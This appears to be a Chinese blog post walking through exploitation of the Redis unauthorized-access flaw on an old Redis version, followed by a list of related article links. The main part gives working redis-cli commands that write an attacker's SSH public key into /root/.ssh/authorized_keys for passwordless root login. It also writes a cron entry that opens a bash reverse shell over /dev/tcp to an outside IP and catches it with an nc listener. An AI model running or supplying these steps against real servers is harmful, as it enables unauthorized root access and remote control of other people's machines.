2020-03-18 14:36:08
Redis在默认情况会将服务绑定在0.0.0.0:6379上,从而将服务暴露在公网环境下,如果在没有开启安全认证的情况下,可以导致任意用户未授权访问Redis服务器并Redis进行读写操作。攻击者在未授权访问Redis服务器时可以通过上传公钥的方法将自己的公钥上传到Redis服务器上,达到免密登陆的效果。
首先选取Redis数据库版本为 redis-2.6.13 (高版本redis未授权访问漏洞已经被修复),编译安装。
编译安装步骤是:
tar zxf redis-2.6.13.tar.gz
cd redis-2.6.13
make
make指令成功执行完毕之后,redis数据库就已经部署好了,如果我们要启动redis数据库的话: src edis-server,如果是启动redis的连接工具的话,需要执行 src edis-cli 。
如果是想要使用ssh免密登陆方法来获得shell的情况下,首先Redis服务器的root用户目录下需要有.ssh文件,再就是配置文件中的 PermitRootLogin 的值需要改为 yes 。
如果上述两项都符合要求我们就可以一步一步的向下进行了。
(1) 生成公-私密钥对
使用ssh-keygen命令之后一路回车即可。
(2) 利用Redis未授权访问漏洞
192.168.63.130:6379> config set dir /root/.ssh/
OK
192.168.63.130:6379> config set dbfilename authorized_keys
OK
192.168.63.130:6379> set x "
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali
"
OK
192.168.63.130:6379> save
OK
(3)登陆
但上述步骤都做完之后,我们就可以通过 ssh 命令连接到redis的服务器上了。
定时任务反射shell主要是利用了linux系统的cron定时任务,通过向 /var/spool/cron/root中写入定时任务,来反弹shell。
处理流程:
CONFIG SET dir /var/spool/cron
CONFIG SET dbfilename root
set x "
* * * * * /bin/bash -i >& /dev/tcp/192.168.199.230/5555 0>&1
"
save
之后在本地主机上开放5555端口,侦听反弹的shell。
nc -lnvp 5555
Redis优化建议
02-12
Redis出现Could not get a resource from the pool错误关于连接数的分析
02-15
Redis报错-ERR max number of clients reached
06-22
Redis查漏补缺:最易错过的技术要点大扫盲
04-06
关于Redis的被动和主动的数据清理问题
04-22
未经授权修改 UEFI 系统中的 UEFI 变量
04-08
利用denyhosts防止服务器被ssh暴力破解
02-24
利用代理解决Git命令链接GitHub过慢的问题
05-31
Apache禁止访问目录列出文件列表
07-22
Apache设置文件访问密码保护
02-16
Intel® Graphics Driver 可能引发本地越权漏洞或拒绝服务
03-10
Lenovo XClarity Administrator(LXCA)本地越权漏洞
02-17
MySQL修改账号授权的的IP地址
05-01
NSA 公布 Windows 10 严重漏洞,影响 9 亿多台设备
02-20
OpenResty(Nginx Lua)统计网站访问信息
07-07
PHP 5.2/5.3 Hash漏洞补丁发布
07-15
Tomcat manager无法访问
02-17
XP系统下如何利用无线网卡属性菜单更改无线网卡信道
06-17
awk查看统计Nginx访问日志
03-26
iptables配置只允许PHP 9000端口访问
05-08